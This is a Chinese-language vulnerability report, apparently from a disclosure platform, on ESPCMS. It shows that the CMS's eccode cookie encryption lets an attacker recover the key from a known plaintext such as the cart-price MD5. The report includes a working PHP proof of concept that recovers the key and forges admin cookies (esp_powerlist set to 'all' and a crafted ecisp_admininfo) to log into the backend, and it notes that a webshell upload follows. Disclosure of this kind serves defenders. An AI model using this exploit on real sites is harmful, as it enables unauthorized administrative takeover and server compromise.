### 简要描述:
espcms的加解密函数设计存在缺陷,可还原key并伪造cookie登陆后台getshell
### 详细说明:
* 程序的加解密函数存在缺陷,可以通过明文和密文逆向还原密钥
* 后台登陆处没有有效验证cookie有效性导致攻击者可以通过伪造cookie登陆后台
* 后台可以上传shell
下面一步一步来看
首先是加解密函数eccode
```
function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {
$result = null;
if ($operation == 'ENCODE') {
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) + ord($keychar));
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
} elseif ($operation == 'DECODE') {
$data = str_replace(array('-', '_'), array('+', '/'), $string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
}
return $result;
}
```
可以看到密文是明文与key通过字符ascii相加最后base64编码后得到的,加密时,key由最后一位开始,依次与明文的每一位进行ascii相加,因此用密文和明文相减能得到key,有没有凯撒加密的感觉?
知道原理以后下面开始逆向key:
```
function anti_eccode($encrypt, $clear) {
$result = null;
$data = str_replace(array('-', '_'), array('+', '/'), $encrypt);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($clear, $i, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
$result = substr($result, 1, strlen($result) - 1).substr($result, 0, 1);
return $result;
}
```
好吧,虽然现在理论上可以还原key了,但是还得找到足够长的明文和相对应的密文才可以得到完整的key,毕竟如果明文和密文都没有key长,还原得到的key也是不完整的。
在购物车结算时,程序会把当前物品的价格和折扣变成md5然后加密后放到cookie里,所以我们可以保证推算出最多32位长的key,够了,至于其他的地方不知道可不可以,我没有仔细看。
```
function in_orderpay() {
parent::start_pagetemplate();
if ($this->CON['order_ismember']) {
parent::member_purview(0, $this->mlink['orderpay']);
}
$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
$cartid = $this->fun->eccode($this->fun->accept('ecisp_order_list', 'C'), 'DECODE', db_pscode);
$cartid = stripslashes(htmlspecialchars_decode($cartid));
$uncartid = !empty($cartid) ? unserialize($cartid) : 0;
if ($this->CON['order_ismember']) {
if (!empty($this->ec_member_username_id) && !empty($this->ec_member_username)) {
$rsMember = $this->get_member(null, $this->ec_member_username_id);
} else {
$linkURL = $this->get_link('memberlogin');
$this->callmessage($this->lng['memberloginerr'], $linkURL, $this->lng['memberlogin'], 1, $this->lng['member_regbotton'], 1, $this->mlink['reg']);
}
}
if ($uncartid && is_array($uncartid)) {
$didarray = $this->fun->key_array_name($uncartid, 'did', 'amount', '[0-9]+', '[0-9]+');
$didlist = $this->fun->format_array_text(array_keys($didarray), ',');
if (!empty($didlist)) {
$db_table = db_prefix . 'document';
$db_where = "isclass=1 AND isorder=1 AND did in($didlist) ORDER BY did DESC";
$sql = "SELECT * FROM $db_table WHERE $db_where";
$rs = $this->db->query($sql);
$productmoney = 0;
while ($rsList = $this->db->fetch_assoc($rs)) {
$amount = empty($didarray[$rsList['did']]) ? 1 : intval($didarray[$rsList['did']]);
$rsList['link'] = $this->get_link('doc', $rsList, admin_LNG);
$rsList['buylink'] = $this->get_link('buylink', $rsList, admin_LNG);
$rsList['enqlink'] = $this->get_link('enqlink', $rsList, admin_LNG);
$rsList['dellink'] = $this->get_link('buydel', $rsList, admin_LNG);
$rsList['ctitle'] = empty($rsList['color']) ? $rsList['title'] : "<font color='" . $rsList['color'] . "'>" . $rsList['title'] . "</font>";
$rsList['amount'] = $amount;
$countprice = sprintf("%01.2f", $amount * $rsList['bprice']);
$rsList['countprice'] = $countprice;
$productmoney = $productmoney + $countprice;
$array[] = $rsList;
}
$this->fun->setcookie('ecisp_order_productmoney', $this->fun->eccode($productmoney, 'ENCODE', db_pscode), 7200);
}
$this->pagetemplate->assign('moneytype', $this->CON['order_moneytype']);
$order_discount = $this->CON['order_discount'];
$discountmoney = 0;
if ($order_discount > 0) {
$discountmoney = $productmoney > 0 ? $productmoney - ($order_discount / 100) * $productmoney : 0;
}
$discount_productmoney = $productmoney - $discountmoney;
$order_integral = empty($this->CON['order_integral']) ? 1 : intval($this->CON['order_integral']);
$internum = $discount_productmoney * $order_integral;
$this->pagetemplate->assign('internum', intval($internum));
$payplug = $this->get_payplug_array();
$shipplug = $this->get_shipplug_array();
$cookiceprice = md5("$productmoney|$discount_productmoney");
$this->fun->setcookie('ecisp_order_sncode', $this->fun->eccode($cookiceprice, 'ENCODE', db_pscode));
```
而被加密的明文就是MD5过后的购物价格,因此可以还原最长32位的key
在经过上面的步骤还原key以后,就可以伪造cookie登陆后台了:
```
$arr_purview = explode('|', $this->fun->eccode($ecisp_admininfo, 'DECODE', db_pscode));
$this->esp_powerlist = explode('|', $this->fun->eccode($esp_powerlist, 'DECODE', db_pscode));
list($esp_adminuserid, $this->esp_username, $this->esp_password, $this->esp_useragent, $esp_powerid, $esp_inputclassid, $this->esp_softurl) = $arr_purview;
$this->esp_adminuserid = intval($esp_adminuserid);
$this->esp_inputclassid = intval($esp_inputclassid);
$this->esp_powerid = intval($esp_powerid);
if ($gettype) {
if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl) {
$condition = 0;
} else {
$condition = 1;
}
} else {
if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_ClassURL) != $this->esp_softurl) {
$condition = 0;
} else {
$condition = 1;
}
}
if ($condition == 0) {
if ($this->fun->accept('archive', 'R') != 'adminuser' && $this->fun->accept('action', 'R') != 'login') {
header('location: index.php?archive=adminuser&action=login');
exit();
}
} else {
if ($condition == 1 && $this->fun->accept('point', 'R') == '' && $this->fun->accept('archive', 'R') == '' && $this->fun->accept('action', 'R') == '') {
header('location: index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter');
exit();
}
}
```
需要cookie中的将esp_powerlist设为all,将ecisp_admininfo设为类似'1|hym|12345678901234567890123456789012|'.md5('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0').'|1|management|'.md5('http://www.evil.com/espcms/adminsoft'这样的结构,去登陆后台就可以了,此处应有掌声。
### 漏洞证明:
首先注册会员购物
[<img src="https://images.seebug.org/upload/201308/100149559886b8704a07e0c0ed3d88340890be70.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201308/100149559886b8704a07e0c0ed3d88340890be70.jpg)
折扣前和折扣后的价格都是3200,所以明文是
md5('3200|3200')='38a7a5650e6296b180c88f6592486fbf'
密文通过查看cookie中的ecisp_order_sncode得到:
ecisp_order_sncode=mHGWbpJsapiRnZhjbG6WlWtnlpxqzG6XbWlsa5ufl50
写了一个poc来还原key:
```
<?php
function anti_eccode($encrypt, $clear) {
$result = null;
$data = str_replace(array('-', '_'), array('+', '/'), $encrypt);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($clear, $i, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
$result = substr($result, 1, strlen($result) - 1).substr($result, 0, 1);
return $result;
}
function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {
$result = null;
if ($operation == 'ENCODE') {
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) + ord($keychar));
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
} elseif ($operation == 'DECODE') {
$data = str_replace(array('-', '_'), array('+', '/'), $string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
}
return $result;
}
#明文
$clear = "38a7a5650e6296b180c88f6592486fbf";
#密文
$encrypt = "mHGWbpJsapiRnZhjbG6WlWtnlpxqzG6XbWlsa5ufl50";
#获取key
$mkey = anti_eccode($encrypt, $clear);
print "[*]maybe key is:".$mkey."\n";
#使用者自己根据判断裁剪mkey的长度获取真实的key
print "[*]input key:";
$key = trim(fgets(STDIN));
#构造cookie
$esp_powerlist = eccode('all', 'ENCODE', $key);
$ecisp_admininfo = eccode('1|hym|12345678901234567890123456789012|'.md5('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0').'|1|management|'.md5('http://www.evil.com/espcms/adminsoft'), 'ENCODE', $key);
print "[+]esp_powerlist=$esp_powerlist\n";
print "[+]ecisp_admininfo=$ecisp_admininfo\n";
?>
```
[<img src="https://images.seebug.org/upload/201308/1001563653befce4cadf77a0575826c0737d74c8.jpg" alt="getkey.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201308/1001563653befce4cadf77a0575826c0737d74c8.jpg)
通过检查,发现后面实际是重复的,因此真正的key应该是前面的957174ca8b1384d373d2f8b4783e
key正是"957174ca8b1384d373d2f8b4783e"
然后设置cookie并登陆,浏览器要与poc中设置的浏览器一致,否则会登陆失败
[<img src="https://images.seebug.org/upload/201308/100159464ddb892df21f44f87f9d0209dbc767e0.jpg" alt="setcookie.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201308/100159464ddb892df21f44f87f9d0209dbc767e0.jpg)
[<img src="https://images.seebug.org/upload/201308/100211536949218ba0d6642124985427934ff9f2.jpg" alt="admin.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201308/100211536949218ba0d6642124985427934ff9f2.jpg)
进入后台后getshell的方法有很多,就不说了。
暂无评论